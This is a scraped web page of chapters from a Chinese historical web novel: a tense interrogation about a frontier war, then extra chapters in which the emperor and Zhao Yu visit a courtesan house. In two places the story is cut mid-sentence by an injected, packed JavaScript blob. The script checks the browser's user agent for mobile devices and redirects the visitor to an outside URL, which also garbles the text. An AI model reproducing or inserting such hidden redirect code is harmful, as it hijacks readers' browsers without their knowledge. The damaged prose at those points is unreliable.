与加茉不同,大长老从来没有与赵毓相处过,今天是他们第二次见面。 其实那天在雍京南城榭芝阁,他第一次在暗窥镜中看到赵毓的时候,他感觉到意外。 大长老以为自己会看到一个刚强冷硬,性如豺狼一般的中年男人,所以当时那一眼,他以为看到的是别人,或者是幻影。 赵毓很年轻,比他实际年龄还要年轻,尤其是他那双雪水一样明澈的眼睛,使他拥有少年人一般的纯净。 他说话的时候喜欢笑,浅浅显显的,甚至带着羞涩的味道。 大长老一直看着赵毓,如同戈壁面对风沙。 赵毓其实并不想直接面对拉摩提,他原来以为缇骑可以将口供问出来,结果,这位大长老的意志比他原本想象的更要坚固。 赵毓忽然轻轻笑了一下,微微低着头说话,“大长老不要对我有这么大的敌意,我们好歹也做过这么多年的生意,大家一起发财,也算是朋友呢!” 二十年前,高昌王阿尔术依身死国灭,高昌如同其他的西疆十六国一般,成为没有政权只余部族的乌合之众。 其实。 大郑在西疆打了几百年的仗,除了匈奴漠北王庭距离边境过远没有伤及根本,蒙古诸王一直在昆仑以西征战,其余的所谓十六国不过只是历史留下的名号而已。 飘零之人自与飘零之人的生存方式,——先战而后求和。 这些部族多弓马娴熟,能征惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728907|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战,虽然暂时无法复国,但是在郑的边境上制造一些麻烦的本事还是有的,他们抢夺粮食与牛羊,并且以此为依仗与郑谈判,继续索取一些粮食与布匹、铁具。郑镇守边境的将军为了短暂的和平一般会接受这样的条件,这是大家彼此心照不宣的事情。 然而,元承或者说赵毓,他从匈奴漠北王庭活着回来之后,一切都不同了。 那个时候他已经不叫元承,所以一开始,西疆的部族谁也没有在意。最后,所有人眼睁睁的看着三年战争之后,西疆能活人的地方几乎尽成焦土。赵毓的军队并没有杀死很多人,只是他们在所到之处洒满了白色的盐,一个一个的绿洲干涸,少量而珍贵的耕地逐渐成为不毛之地,一片一片的草地变成沙漠。 西疆部族想要纳贡求和。 赵毓以自己只是大郑战将没有接受降表的权力为由,拒绝谈判。 战争继续。 没有人在刚开始预料到战争可以持续这么久,因为根据西疆部族对于郑边境守军的了解,他们的军饷无法支撑长久的征战。只是那五年完全不一样了,平时那些半死不活的郑边境兵士们像疯狗一样不要命的向前冲,他们竟敢用步兵直接面对西疆部族的骑兵! 很多年后拉摩提才探知,当时赵毓为了筹措军饷,借用西北道向大郑的权贵豪族、江南望族、两淮的盐商兜售了许多高息战争债票,筹到巨额银票。当年,赵毓用尽了各种办法,将那些银票兑换成现银运到西疆边境。每次打仗之前,他自己亲自手持酒碗装满烈酒誓师,而他的背后,则是一箱子一箱子打开了封盖的白银! 西疆战败,最后不是求和,而是祈求活命。 赵毓本人精于绘制地图,熟知西疆土地,那次求活命谈判之后,西疆全境所有能产石脂水的土地尽数并入大郑疆域。 原本西疆部族可以用石脂水换取一些粮食与布匹、铁具;原本他们的土地还可以供养他们相对贫瘠的生活,原本他们可以不富裕却安稳的活下去。 现在他们一无所有。 为了偿还那些高息债票,赵毓用粮食“换取”西疆境内一切珍贵的东西,——玉石、琥珀、貂皮、马匹还有木材,等等。 他们挖掘玉石付出的代价仅仅是劳力的口粮,而得到的却是价值连城的昆仑羊脂玉! 西海的琥珀被赵毓像沙土一般拉回。 郑的东北边境就有大量的森林,但是赵毓不去砍,他说那里冷,树木长的慢,砍掉之后再长起来至少需要一百年的光阴,老百姓等不了。大郑的百姓等不了可以不用等,树木不用砍;西疆的百姓等不了也得等,树木必须砍。圣山上,那些千年古木只要一袋粮食就能坎走,赵毓他们转手就能卖出上万两白银的价格! 西疆那些没落王族身上的大氅都是用相似颜色的貂皮拼接而成,而赵毓只接受兰紫色的紫貂与最上等的白貂! 还有那些战马,原本大郑的军队高价求购,如今它们的价格与牛羊等同。 诸如此类,数不胜数。 在“生意”中,赵毓制定价格,赵毓制定规则,赵毓制定一切,现在他转过来轻轻说一句“大家一起发财,也算是朋友呢!”,真是无耻之尤! “生意?”大长老也笑了,像把弯刀,“我们连给自己土地产出的珍宝的定价权都没有,有什么资格与你做生意?元承将军,不要把战争与掠夺说的如此轻巧。” 良久,赵毓轻轻叹了口气,“一碗饭就这么多,有人能吃饱,有人就得饿着。我自己知道造孽多,业障多,我也不像大长老您虔诚侍奉神明,有上天呵护,我这个人这辈子到什么地步,死后是个什么情景,那都是以后的事。今天我们只说我们眼下能决定的事情。我小舅子在你们手中,你的命在我手中,我们既然都被对方扼住了咽喉,暂时无法拼杀的你死我活,那么我们就是朋友了。朋友,就是什么都可以谈的,大长老,我用你换我小舅子回来,你认不认可?” 大长老忽然冷笑,“你怎么知道我同意换人?” 赵毓,“如果你不同意,你不会见我。” 大长老,“我见你只是想要告诉你,我死不足惜,你无法用我换回你想要的人。” “死不足惜?”赵毓咀嚼着这四个字,“大长老,您是不是以为,今天您死在我这里,您就可以名垂千古?呵,大长老,大智者,高昌的拉摩提圣者,您的大名将要传遍西疆十六国,永远闪耀在敦煌那璀璨的星河上?” 赵毓看着他,又开始笑。 这次他的笑容带着肃杀,他眼角边那颗红色的泪痣是如此的明艳诡异。 赵毓慢慢说,“您要是死了,你们那位贵霜王子殿下半夜睡觉都能笑醒。” 听到贵霜王子这个名字,大长老眼神一冷,继而有些不知名的凌乱。 赵毓,“王子殿下已经皈依了弥兰陀教,也许它的教义是温和的,但是王子殿下绝对不是温和的人。我坚信,他会用尽任何手段来捍卫他的信仰,包括一手拿着弥兰陀经书,一手执起弯刀。大长老,如果您死在雍京,您的信众就如同待宰的羔羊,贵霜王子治下,那些人如果不改宗并且皈依弥兰陀教,等待他们的也只有死亡这一条路了。还有,两年前我从西疆离开的时候卖给王子殿下一些黑|色|火|药,也许铸炮这种事情,贵霜王子做不了,但是炸毁你们那些古老的神像还是很容易的。到时候,整个高昌,或者说西疆十六国都不会再有人记得那些曾经护佑过你们的众神,他们只信奉天地之间唯一的真神,白沙。” “至于您,……” “不会有人再记得您,您的名字就是一片纯净的白色,就如同您现在穿上身上的衣袍与我当年撒下的盐一样。” 50. 番外·无聊的夫夫生活 50 番外·无聊的夫夫生活 天不亮,文湛醒过来。 他改了祖宗的规矩,已经不再日日早朝,凡是朝臣能做的事情,他不再事事亲力亲为,退一步之后,很多事情反而看的更加清楚,他抓住了朝政的纲,提纲挈领,纲举目张。 他不是那些文官的傀儡,那些人创造出来的僵化的明君礼仪无法禁锢文湛。 不过,即使不用日日早朝,文湛并没有日日睡到日上三竿。 微音殿那里他时常过去,而且很早,只比当初在毓正宫读书的时辰晚上一会儿。 赵毓还在睡。 他躺在被子中,背对着自己。只是这个姿势就同文湛不一样。无论有意或者无意,尤其是无意的时候,文湛的身体总是向着赵毓,可是赵毓不是。他睡熟之后很安静,却总是无意识般的向床榻里面挪,空出来一些位置,也许是他不喜欢卧榻之旁有他人安睡,或者是多年在外,他还不习惯与人同床共枕。 身边的人有动静,赵毓也动了一下,模糊的问了一句,“起的这么早?” “嗯。”文湛坐起来,将被子给赵毓裹了裹。 外面一夜的雨,现在还没有停,赵毓身体寒,怕冷。 赵毓有些意识的时候,会自觉向文湛身边动动,当然,也许是因为床榻的这半边被文湛睡的暖和一些。 “你再睡一会儿,等我从微音殿回来,陪你用早膳。” 赵毓将身体彻底翻了过来,面对着文湛,侧脸躺在枕头上,模糊的嗯了一声,也不知道他是听到还是没听到。 这并不重要。 每天,文湛都会照顾他起床。 他会让他靠在他的肩膀上,喂他喝下温和的参茶,随后再让他起身。 这天,楚蔷生在微音殿,文湛同他聊了一下开海运的事,所以回来稍微晚了一些。 赵毓已经起来了。 他还是迷迷糊糊的,坐在椅子上喝着黄枞菖端过去的参茶,而黄枞菖则站在他身后,拿着一把梳子给他梳头发。 郑人,无论男女,不剪发。 身体发肤,受之父母,不敢毁伤,孝之始也。 皇族尤其如此。禁宫中的人从出生开始,从来不对头发动一丝一毫,再加上禁宫中平时就算不穷奢极侈也是富贵荣华的生活,保养头发还是很容易的,这些人发髻打开,七尺长,乌黑油亮,如同九天之水惊心动魄的倾泻而下。 赵毓的头发却是剪过的。 现在,只到腰身下面一寸的地方。 “祖宗这头发,当年可是剪了去卖钱?”黄枞菖一边梳一边问。 “我还没穷成那样。”赵毓放下参茶,抓了抓发顶,“我告诉你,你别跟圣上乱嚼舌头。”说完,他还勾勾手指。 “嗯。”黄枞菖连忙附耳过去。 “让人砍的。”赵毓颇有些得意,“当年我很聪明,把头发堆在脖子上,这就多给性命加了一层保护。有一天,一个不长眼的拿着刀从我身后偷袭,直接砍断了头发,我的脖子和大好头颅这才没事,现在还端正的安放在我的肩膀上。” 黄枞菖倒吸了一口气,像是牙疼,“这事真邪性,不知道真假。不过祖宗放心,我打死也不说。” “不用说了。”文湛进殿,“我都听到了。” 赵毓一看是他,就乐着说,“我家陛下果然是千里耳,顺风眼。” 文湛看了他一眼,吩咐,“摆饭。” 黄枞菖低着头,弯着腰,吩咐人将早膳端进来。 今天是几碟子软点心,都是赵毓爱吃的东西,有菜泥包子,虾饺,定胜糕,百果蜜糕。其余的,有一碟子油豆腐皮裹着菜馅炸的布袋角子,还有各种酥点。最大一个盘子里面是万寿宫太贵妃那边送过来的枣泥酥,据太贵妃说,这些是赵毓从小最爱吃的东西,一天不吃就难受,难受过后会被饿死。 点心配的是米粥。赵毓不太爱吃米粥,他喜欢吃咸香的东西,比如加了香油与荷包蛋的挂面汤。只是,他的胃的确不好,文湛会让御膳房定期为他煮一些米粥养养胃。果然,赵毓拿着勺子搅了搅,吃了两口米粥就不吃了,他用两根手指捏着枣泥酥就着茶水慢慢吃。 这个人,说他挑食吧,他什么都吃,并且从不提要求;要说他不挑食吧,他对不喜欢吃的东西只是一两口的事,宁可饿的胃疼也不再来一口。幸亏他们两个从小一起长大,文湛对他的口味了如指掌,如果不是为了配合药膳做一些赵毓不爱吃的东西上桌,整个餐桌上就会摆满了按照赵毓口味做的饭菜。 “早上不要吃这么多甜腻的东西。”文湛把赵毓手中半块枣泥酥拿过来,放回盘子中,让人端下去,“米粥养胃,不喜欢吃也要多吃一些。” 赵毓舔了舔手指,还是用两根手指捏着瓷勺子,舀了一口白粥。 他忽然感觉文湛的手指撩开他的头发。 果然是大好头颅。 文湛看到,此时赵毓的脖颈安然无恙,只有昨夜留下几个淡青色手指的印记。 “你真信?”赵毓还是笑,“我知道你在门外,故意吓唬你的。” 文湛没说话,手指只是在赵毓脖颈处揉了揉。 赵毓,“头发是当年在肃州剪短的,那个时候一年多没洗澡,头发像羊毛毡子一样都梳不开了,直接剪掉,省心省力。” 关于那些年的经历,赵毓说了很多,有真有假。 文湛分得清楚那些是真的,只是不再表现的很直白而已。 “喝粥吧,要凉了。” 赵毓让黄枞菖给米粥中加了一些青酱汁还有香油,弄的香喷喷的,这才勉强吃了小半碗。 “你晚上有空吗?”他问文湛。 “有。怎么了?” “我收到请客票,还带着局票。”赵毓说,“朱七姐她们家有几个小姑娘出来应酬,都是清倌人,想请几个认识的旧客人去捧场。那边的请客票送到了周熙那边,他也给了我一份。别的都不稀奇,就是朱七姐新换了厨子,岭南人,做的一手广府菜,太难得了,去尝尝鲜。” 文湛,“喝花酒,怎么想起来找我同去?我不喜欢那种地方。” 赵毓,“上次我和我小舅子去,结果回来被我岳父骂了一顿,他说我耽搁了桂宝儿读书。我这个小舅子考不了功名之后,读书倒是挺上进的,不知道图啥。后来我又带着格非去,酒都没敢多喝,回来就被我娘狠狠揍了一顿。” 文湛看了他一眼,“你带着格非去那种地方,也的确是太荒唐。” 赵毓,“这个尘世纷杂不堪,包罗万象。捂住眼睛不看,就可以当这些人和事情不存在吗?” 文湛看了看他,问赵毓别的东西,“朱七姐?听着耳熟,什么来历?” 赵毓,“风尘中多有狠人,朱七姐厉害。她原本是大户人家的庶出闺女,为了一个书生私奔被开出家门,后来书生为了另攀高枝将她卖给一个盐商做妾。那个盐商倒是老态龙钟,大腹便便,粗鄙不堪,但是不知道哪里学来的想法,他对身边的人都成全了,比那些耗人家姑娘到脂残粉褪之后再抛弃的道学先生们要好很多。所以,此人对他的这些小老婆们特别注重培养。朱七姐本来就识字,那个盐商就用养瘦马的手段,请了老师细心教导朱七姐。盐商注重实利,不教琴棋书画,教一些记账管事,做点心的本事,朱七姐在他身边帮了不少忙,等到那个盐商死后,朱七姐在扬州得了一套宅子,还有一些钱财,她就把这些用来做本钱,做了这行。说实话,能吃老鸨这口饭的都不是好人,只是,这世间的人和事,都没那么单纯。姑娘们命薄,有的没了爹娘,有的被爹娘卖了,跟着她,总归是有口饭吃。” 文湛给他夹了一个菜泥包子,“你们怎么这么爱吃花酒?” 赵毓连忙摇头,“不是我,是他们。能到朱七姐那里吃老酒的人,大多出身显赫,家财万贯,这些人家都是从小定亲,家中的大老婆是爹娘给订的,也都是这种人家的姑娘们。俗话说,娶妻娶贤,等大老婆进门,贤惠了,他们又嫌弃人家被礼法阉割了性子,不够浪,没感觉,于是,就跑到外面去玩。” 文湛不以为然,“这种人家,应该有钱纳妾。娶妻娶贤,纳妾纳色,看到喜欢的,直接纳妾不更好?” 赵毓,“人家又会说,纳妾为了开枝散叶,不为了各人享乐。我记得周阁老家七代单传,说来真邪性,他就有他儿子一个,他儿子也就他孙子一个。这位老先生感觉自己不能不管了,于是连自己孙子纳妾都管起来。去年他孙子跟桂宝儿喝酒就哭闹过,说他祖父给他的妾都蠢如鹿彘。周家专门从自己的佃户家中用高价订姑娘,不挑拣别的,就要身板壮实的,家中兄弟多的。这样的人家一般能生儿子,也会为了儿子娶老婆,肯接钱让姑娘去做妾。周阁老给他孙子找来了四个,正好凑成了一桌麻将搭子,晚上轮流跟着他孙子睡,这不,今年他们家就添了俩孙子俩孙女。” 文湛,“……” 赵毓,“不过呢,这样的事情也不一定。有些人纳妾就为了好|色,一些自命风流的就被评论成真性情。前年那位礼部的钱侍郎,就是江南兰芝文社老大,号称江左文坛领袖的钱九嶷,他不就以六十二的高龄纳了一个十五少女为妾吗?当时摆酒的时候还引了苏东坡的那首诗,——鸳鸯被里成双夜,一树梨花压海棠。他甚至还捏着掉落到没两根的胡须,反复的咂摸那个压字用的巧妙。那位侍郎长的像个风干的核桃,有些猥琐。我是看不出这树老梨花压住人家那枝艳海棠有任何风流倜傥,就感觉那姑娘亏得慌。对了,那位老先生和屠明珠挺好,钱侍郎果然有才,屠明珠也爱才。当初钱侍郎好像是要给屠明珠赎身,结果没成,不知道是屠大小姐看不上这树老梨花,还是他最终觉得屠明珠做过倌人,纳回家不体面,这就不知道了。” 文湛忽然笑了,“我以为这些道学君子们,最多尸位素餐,将维护三纲五常,插手帝王家事当做国政,平时高谈阔论,诗书歌酒,长于夺|权,于社稷并无尺寸之功。最坏不过是就是:无事袖手谈心性,临危一死报君王。结果他们居然整日折腾这种事,连心性也修不好。只不知道到了需要他们一死报君王的时候,是否能死的决然?” 赵毓,“这还真不清楚,不是死到临头,真不知道谁的骨头是硬的,谁的骨头是脆的,谁的骨头是软的,还有谁的骨头是外焦里嫩的。不过,对于老梨花他们来说,风流不算大节有亏,只算小故事而已。如果人家老梨花真能无事袖手谈心性、临危一死报君王就不算心性修不好。反正老梨花是君子嘛,一定要空疏辽阔。再说,一个礼部的侍郎,平时不折腾三纲五常、帝王家事,他们还能做啥?对人家来说,凡治财赋者,则目为聚敛,留心政务的都是风尘俗吏,人家还要修身齐家治国平天下,没空管眼前的正事。如果今天运气好,没准能遇到这位老梨花,不过,我们不会同他照面的。他在明,我们在暗。” 文湛忽然看了看赵毓,“这花酒,好像喝的有些意味深长。” 赵毓,“长夜漫漫,闲着也是闲着。” 文湛,“好,我跟你去喝花酒。” 赵毓忽然笑着点点头,“我家陛下就是英明神武。” 江南贡院对面就是秦淮河,据说有月色的时候,夜越深,就越有那细吹细唱的船来。那些女郎们头发上簪了茉莉,低眉浅唱,环肥燕瘦,任君采劼。这些士子们多有今日之乐,不减王公之感,即使名落孙山,也不过是忍把浮名,换了浅斟低唱。 雍京南城虽然不如秦淮河水那样柔软纤美,却因为苏帮独霸,而现出几份斯文妖娆来。 今晚雍京士林有盛事。 江南兰芝文社在南城书寓有文会。 兰芝文社起于姑苏,揽括了几乎所有出身江南的官员与隐游在野的士子,如今延绵已有百年。 裴檀每次看到兰芝社,总有一丝莫名的想法。 这个想法不太好,却让他着实摸不到确凿的脉络,他不知道应该怎么说清楚。 江南兰芝社,那是士林的根骨,读书人的楷模。 裴家当年也是读书人,不算勋贵。 他们曾经风光过,领袖士林。 裴檀父亲裴东岳弱冠宰辅,先帝的老师,甚至曾经是被先帝的父亲托孤的重臣,却不是出身江南,也没有兰芝社的背景。当年他还太小,他父亲做首辅大臣的时候,政务上是否被兰芝社官员掣肘,裴檀已经不知道了,只是按照常理推断,当年的情景应该不会很温妙就是了。 裴东岳死后,内阁后来的几位大人都出身江南,或多或少,都有兰芝社的背景。到了昆山杜氏执掌内阁,雍京官场几乎就是兰芝社的天下,一直到楚蔷生入阁,提携自己的势力,也提携祖籍江南之外的官员,这才让兰芝社慢慢退回去,只余半壁江山的地盘。 如今楚蔷生为左相,他骄奢擅权名声,有一多半倒是兰芝社的言官传出来的,只不过今上信任,目前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵毓走的不快也不慢,但是挑拣的路却非常古怪,左边转弯右边过巷,显示他对这里极熟悉。 南城。 一个布满了秦楼楚馆,舞榭歌台的地方,…… 他们两个一前一后,越向前走越偏。这里已经越过了千金买笑的地方,这里有些暗开的门子,都是下等昌窑,有些地方的女人几个铜子就是一个晚上,他来这里做什么? 一错念,赵毓就丢了。 裴檀看着眼前,这是一个没有光的地方,夜空中的月也照不到这里。他向前一迈步,忽然感知到暗色中有冷意,轻微扣动弩|箭扳机的声音,一道细细的箭破空而出!裴檀错过那道箭,伸手想要抓住,却不料箭的尾端系着黑色的细链,钨钢打造,接着弩|箭凌厉之势,割破了裴檀的手指。裴檀感觉手指一麻,破皮的地方有苦涩凉意,不好,中毒了。 “王爷,是我!”情节之下,他顾不得赵毓的禁忌,直接喊了出来。 “裴公爷?” 赵毓收回弩|箭,从黑暗处挪了出来,空着的一只手还拿着一个竹筒,里面放着晶莹剔透的徽州水冰纷,里面加了桂花,薄荷与红糖。 “解药?” “那不是毒,是一种麻药,没事儿,一会儿就好。” 赵毓说完,收拾好弩|箭,什么都不问就向回走。 裴檀跟在他身后。 赵毓一回头,裴檀咳嗽了一声,才说,“王爷,我,……” 赵毓却说,“没事儿,我只当没见过裴公爷您就是了。” 裴檀,“为什么?” 赵毓笑,他眼角边的红色泪痣显得有些妖异,“我还以为裴公爷是正经人,没想到也有这么不正经的时候。不过呢,这个时辰到这个地方来的人,哪个是正经人?我不是,看来,裴公爷也不是。以后咱们两个就是大豁牙吃肥肉,肥也别说肥了(谁也别说谁了)。” 他们两个从繁华去荒凉的时候一前一后,等回到千金买笑的时候依旧一前一后。 “裴公爷,你跟着我做什么?” “我没跟着您。这条路又不是只有您能走,我就走不得。” “嗯,也对。” 赵毓不再理睬他,来到一个青砖青瓦的院门前,小厮为他打开门,为他提着灯笼向里走。 裴檀还是跟着,这个院子外面外不出什么,进得大门之后,这才看见,这里居然是一派疏影横斜水清浅的雅致风流。 上了台阶,赵毓将灯笼拿过来,给小厮一点碎银就打发他走人了。 屋子里面有人说话,“买什么好吃的,去了这么久?” 裴檀听着就是一惊。 “别提了。”赵毓打开帘子,“今天真邪,不应该出来的。旁边那个院子中,那群兰芝社的老梨花们为了一个死去的士子吟了半天的哀赋,全是四六骈文,弄的我一个头两个大,比翰林院的那些酸文假醋都酸,我都觉得牙齿酸倒了,就想着出去买点冰粉吃,没想到遇到了一个冤家。真是流年不利。” 里面人轻笑着说,“你还有冤家?” 赵毓,“我从小到大,人弃|狗|嫌的,冤家多了。” 说着,赵毓为裴檀撑帘子,裴檀进去。 他看见屋子中坐着文湛,皇帝正在喝茶,而他身旁站立着镇抚司的梁十一,一身常服,却是警醒的戒备,手指暗暗抚住腰间的剑柄。 文湛一看是裴檀,抬手,免了他的称呼,也免了他的跪拜,“子乔来了,坐吧。” “您,……,您这是,……”裴檀都不知道应该说什么了。 赵毓,“朱七姐家有姑娘要下海,请了几个老客过来捧场,再加上兰芝社有文会,就在旁边桃叶院,我们晚上无事可做,出来散散。” 裴檀看着赵毓,“你,你竟敢带着陛,……,来这种地方喝花酒?” “咦?”赵毓奇怪的看着他,“裴公爷,您是勋贵,不是清流,从哪里学的道学先生的一身古板正气?您这又打仗又做言官,朝廷不给您双份饷银,真是对不起您啊。” “你!……” 赵毓嬉笑着按住裴檀的肩膀,让他坐下,“消消气。朱七姐这里换了个岭南的厨子,我们过来,是为了尝鲜的。不过,裴大人,您喝过乌鸡王八汤吗,最是大补,旁边那些老梨花已经喝了三锅了,要不,给您也来一份?” 51. 番外·无聊的夫夫生活 2 51 番外·无聊的夫夫生活2 “姑娘怎么还不来?”赵毓又拍了拍裴檀的肩膀,“裴公爷别着急,我给你看看去。” 裴檀知道这是赵毓拿自己作伐,真正着急让姑娘陪酒的肯定是这个浪荡子,而不是自己!不过此时皇帝就在身边,他也不好说话。 赵毓拎着自己的竹筒,站在外面的台阶上吃水冰粉,正看见黄枞菖从外面进来。 赵毓问他,“怎么回来了,旁边那些吟诗弄对的不好玩?” 黄枞菖说,“好玩,当然好玩!兰芝社囊括天下文才,他们写的诗词歌赋那叫那个才高八斗,那叫一个缠绵悱恻,那叫一个惊天地泣鬼神!只是,兰芝社那位阁老在。我们在内阁和微音殿总见着,这个时候人家喝的一股子魏晋名士的张狂派头,要是再让我看着,挺没劲的。我就没往跟前凑,站的远远的看了看。看到现在也没啥稀奇的了,就回来了。” 赵毓,“魏晋名士的张狂派头?什么样?” 黄枞菖一撇嘴,“别提了,那位大人写诗明志,想要做竹林七贤那样的隐士,只不过呢,这位大人为了天下为公的圣人教导,为天下计,为百姓计,这才免为其难的做朝廷的官。不然,他一定会过得清静无为,纵酒吟歌,恣意欢畅!” “这不挺好,读书人都喜欢这样。”裴檀出来了。 赵毓知道他在文湛面前坐着不舒服,肯定找借口出来溜达溜达,也就没说话。 黄枞菖同他见了礼,才说,“一看裴公爷就是老实人!您多年在外带兵,不知道这些人的花花肠子。这位大人之前死了老子,本来按照大郑律法,他要回老家丁忧的,结果他不肯走,又不敢说,就暗自给司礼监送了银子,想要我们与内阁说说,给他来了夺情,让他在雍京表示表示孝心,官位就不要丢了,也不要回老家了。” 裴檀,“黄秉笔收了钱?” 黄枞菖,“当然收呀,为什么不收?我们当时想看看他到底给多少钱,结果呢,他给的钱不多也不少,还算是正常,说明他也不是个巨贪。这位大人也没那么重要,我们也不想为了他担风险,最后把银子给他退了回去,他也知情识趣,安静的回老家守孝去了。其实,这些读书人就好面子,舍不得官位也舍不得脸。夺情?有什么可夺情的,真把自己当大头蒜了,说实话,这天下官场缺了他们谁都成,没人把他们蘸酱吃!” 裴檀瞪了他一眼,半晌才挤出了一个词,“佞臣。” 黄枞菖摆了摆手,“裴公爷又不懂了,我们属于天子家奴,不是臣子。我们有另外一个称号,比佞臣可朗朗上口多了,那些读书人都爱那么骂我们,特别好记!” 裴檀又瞪了他一眼。 赵毓肯定听懂了黄枞菖的话,他只是把最后一点水冰粉和着红糖水喝了,晃了晃竹筒,没说话,就是乐。 其实,赵毓与裴檀虽然都曾经在毓正宫读书,只不过,他们读的书到底是不同的。 裴檀的父亲是前朝首辅,他的底子和根骨说到底还算儒生。 而赵毓受的却是皇子的教育,儒释道三教经典,合用则取之,不合用弃之。他不需要“学成文武艺,货与帝王家”,所以也没有读书人的清高、风骨与禁忌。再加上赵毓从小在禁宫长大,这些阉人都是他身边的人,他同他们也亲近,自然不会觉得结交“太监”、“妖人”、“宦官”是多么可耻的一件事。 黄枞菖说,“我们是权阉,我们的朋友是阉党!” 阉党——这两个字居然让黄枞菖念的掷地有声,振聋发聩! 此时,周熙进来,对着赵毓低声说了几句,赵毓笑,“这有什么,大家过来就是想要聚在一起喝喝酒,见见老朋友,至于有没有清倌人陪着,说实话,这群人不在乎这个。告诉七姐一声,要是汤水准备好了,就开席吧。我的这几位朋友没吃过岭南菜,还挺期待的。” 周熙出去,不一会儿,外面有小厮进来请他们,赵毓让黄枞菖进里屋请文湛,他带着裴檀先出来。 一个大方的酸枝桌就摆放在桂花树下,客人们纷纷落座。 这些人都是相熟的朋友聚坐在一起,喝酒聊天都方便,而不熟悉的人,除非双上都有结交的想法,不然不会过分热络的去引荐或者自荐,毕竟,能坐在这里的,都是生意在十三行同周熙直接讲话的人,自持江湖地位,不肯轻|贱。 等黄枞菖引着文湛出来,这边的姑娘都唱上了,是一曲《翠屏山》,一个倌人饰演潘巧云,不上戏装,就轻轻的唱着。后面的戏码是《珍珠衫》与《长生殿》。 赵毓让文湛坐自己身边,转过身去叮嘱黄枞菖,“一会儿有姑娘过来挨着你坐,不许摸人家的小手。这些姑娘规矩大,一两银子只是过来陪着坐坐,聊聊天,给你倒点酒水就得了。” 黄枞菖早就想跟着赵毓出来玩,但是一来风月场中多才子,遇到平时在内阁或者微音殿认识的熟人的机会大,二来,主子未必愿意。所以今天好不容易得了空,他正想着好好摸摸人家姑娘的小嫩手,结果让赵毓这么一嘱咐,心立刻凉了半截。 无奈,他也知道规矩,只能答应,“哎,知道了。不过祖宗,要是人家姑娘一定要摸我的手呢?” 赵毓看了他一眼,没搭理。 此时,有几位倌人进来。这些姑娘都梳着妇人发髻,虽然不一定都是倾城绝色,却是风鬟雾鬓,体态轻盈,素口蛮腰。面孔上粉黛恰好,身上的衣裙具是上等绫罗,头发上也是珠翠环绕。一举一动并不妖娆,而是带着几分端庄。 为首一位,头发上是黄金点翠的簪子,她坐在主人周熙身后,而她身后两位美人到了裴檀与黄枞菖身边。赵毓和文湛身边无人,他方才就同周熙说了,这位朋友不喜欢这些,就是过来喝喝酒,尝尝岭南菜的,周熙当然不强求,而梁十一则不坐,就站在文湛身后,不动如山。 周熙身后的美人端了一盏酒开口,吴侬软语让人骨头都酥了,“姆妈本来找了阿妹陪各位老爷,结果不凑巧,还是让我们几位姐妹过来,老爷不要嫌弃,我先自罚酒一盏。” 湖州来的老吴最近交了好运,正在兴头上。 他眉飞色舞的刚说完。 二十年前他家老爷子还在,曾经借给一位补了实缺的官员三百两银子,本来想着这位官员上任之后就能还,没想到,这位大人命运多舛,刚到任上没半年就病逝了。吴老太爷过去奔丧,只看见这位大人家的寡妇和闺女,其他就没别人了。 官场上都这样,“太太死了压断街,老爷死了没人抬”,他想着自己那三百两也要不回来了,人家孤女寡母的真是可怜,索性又给了一百两银子,让那位遗孀和小姐扶棺回原籍。 吴老太爷把这件事情做过就忘了,当年把生意交给儿子的事情也没提,六个月前,有人找上门,说是那位大人的女婿派来的人。原来这位大人的闺女从小定亲,如今这位女婿也考了出来,并且做了盐茶转运使,他们为了报恩,专门找到老吴,给了他一份盐引。 这次,吴家彻底发达了。 老吴一看那美人敬酒,连忙说,“三先生能过来,就是我们的福气,哪里能让三先生罚酒,来来来,我替侬喝。” 文湛凑近赵毓问,“三先生是谁?” 赵毓,“屠明珠的三妹,屠珍珠。她们是整个书寓身价最高的姑娘,出来一趟至少十两银子,江湖上都尊称一声先生。” 开筵坐花,飞觞醉月。 这边酒喝完了,那边曲子也继续唱上了。 湖州老吴几盏老酒下肚,发了牢骚,“士农工商,我们排在最末。都是江南人,人家兰芝社都是芝兰玉树,我们就是烧火草料。老赵,你说说,七姐给我们找个小阿妹都要先给那群读书人用,会写几首酸文假醋果真好用,连书寓这种地方也好用。果然那是自古嫦娥爱书生。你们看看,那些话本中的女子,不管神仙鬼怪,还是妖魔狐狸,都爱书生,就是穷的书生也爱。” 赵毓听着只是笑。 老吴怒,“你笑什么?” 赵毓,“自古嫦娥爱少年。” 大家也笑了。 赵毓接着说,“凡是江湖上能被尊称先生的姑娘们,没有喜好那些酸文假醋的,想必那些书生们也心知肚明,只能写一些妖魔狐仙什么的倒贴的戏码。他们自己看看,偷着乐乐也就是是了。我说老吴,你就别愤愤不平了,隔壁桃叶院的老帮菜们都自比是一树梨花了,就连七姐的王八汤都喝了三锅了,就这,也不敢见诸位先生们,如今三先生还亲自过来为你斟酒,你这里子面子都赚足够了,还不成?” 湖州老吴缓了缓,这才听明白赵毓说的“王八汤喝了三锅也不敢见诸位先生们”的真正意思,不禁摇头失笑,“老赵,还是那么损,阴损阴损的。” 不过,转念,他想起来一件事,问屠珍珠,“三先生,大先生的事,侬听说了吧。” 大先生就是屠明珠。 结果,屠珍珠摇了摇头,“不曾。” 老吴说,“大先生嫁了蒋公子,虽然不能说明媒正娶,可是蒋公子的夫人一年前病故,公子没有续弦。蒋家门第清华,身家巨万。大先生的公爹在兰芝社说话很有分量,当朝几位大人都称自己为他的学生。这样的人家,大先生以后生得一男半女,怎么也会是个诰命夫人。结果,大先生怎么就做了逃妾呢?” 